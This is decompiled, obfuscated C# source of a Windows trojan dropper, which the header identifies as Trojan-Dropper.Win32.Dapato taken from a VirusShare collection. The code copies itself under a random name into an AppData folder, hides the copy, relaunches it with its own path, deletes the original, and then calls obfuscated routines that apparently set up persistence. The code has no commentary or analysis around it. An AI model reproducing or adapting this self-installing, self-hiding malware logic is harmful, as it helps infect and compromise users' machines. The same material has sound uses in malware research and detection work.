// Decompiled with JetBrains decompiler // Type:  // Assembly: ss20, Version=1.1.1.1, Culture=neutral, PublicKeyToken=null // MVID: 4385E1A7-2FA8-4895-8952-90E8ECDFEF6F // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Dropper.Win32.Dapato.awrl-32c3dc21d69dcf58806a205f7919ff769fda4c1659e61dc7d2c60838850ea6d5.exe using Microsoft.VisualBasic; using Microsoft.VisualBasic.CompilerServices; using System; using System.IO; using System.Reflection; using System.Text; using System.Threading; using xDyrwegfyiLGERLFK; [StandardModule] internal sealed class \u0008 { private static bool \u0002; private static string \u0003; static \u0008() { string location = Assembly.GetExecutingAssembly().Location; if (false) return; \u0008.\u0003 = location; } public static string \u0002(int _param0) { VBMath.Randomize(); StringBuilder stringBuilder1 = new StringBuilder(string.Empty); if (true) goto label_7; label_1: char[] charArray = \u000F.\u0002(-1181139413).ToCharArray(); if (true) goto label_8; label_2: int num1 = _param0; if (true) goto label_9; label_3: int num2 = 1; char[] chArray; StringBuilder stringBuilder2; int num3; while (num2 <= num3) { VBMath.Randomize(); int index = checked ((int) Math.Round((double) unchecked (Conversion.Int((float) checked (chArray.Length - 2 - 0 + 1) * VBMath.Rnd()) + 1f))); stringBuilder2.Append(chArray[index]); checked { ++num2; } } return stringBuilder2.ToString(); label_9: num3 = num1; goto label_3; label_8: chArray = charArray; goto label_2; label_7: stringBuilder2 = stringBuilder1; goto label_1; } [STAThread] public static void \u0002() { Random random = new Random(); if (true) goto label_12; label_1: string str1 = \u0008.\u0002(10) + \u000F.\u0002(-1181139440); if (true) goto label_13; label_2: string str2; try { Thread.Sleep(273); string str3 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + \u000F.\u0002(-1181139355); if (true) goto label_9; label_3: string path; if (!Directory.Exists(path)) Directory.CreateDirectory(path); if (!\u0008.\u0003.Contains(path)) { try { FileSystem.FileCopy(\u0008.\u0003, path + \u000F.\u0002(-1181139383) + str2); Interaction.Shell(path + \u000F.\u0002(-1181139383) + str2 + \u000F.\u0002(-1181139391) + \u0008.\u0003); FileAttributes fileAttributes = FileAttributes.Hidden; File.SetAttributes(path + \u000F.\u0002(-1181139383) + str2, fileAttributes); ProjectData.EndApp(); goto label_11; } catch (Exception ex) { ProjectData.SetProjectError(ex); int num = (int) Interaction.MsgBox((object) ex.ToString()); ProjectData.ClearProjectError(); goto label_11; } } else { FileSystem.Kill(Interaction.Command()); goto label_11; } label_9: path = str3; goto label_3; } catch (Exception ex) { ProjectData.SetProjectError(ex); ProjectData.ClearProjectError(); } label_11: \u0008.\u0002 = true; eyLVVDhbWEkldwLK.bUfdeuYwyoegegejwgLkwe(\u000F.\u0002(-1181139367) + \u0008.\u0003); \u0008.\u0003(); return; label_13: str2 = str1; goto label_2; label_12: goto label_1; } public static void \u0003() { if (\u0008.\u0002) { eyLVVDhbWEkldwLK.ORYfbwIYVEwRFjbwrFgbwrigi(\u000F.\u0002(-1181139071)); eyLVVDhbWEkldwLK.LIJVwieyfvwEJfwEIyfI(\u000F.\u0002(-1181139071)); } \u0008.\u0003(); } }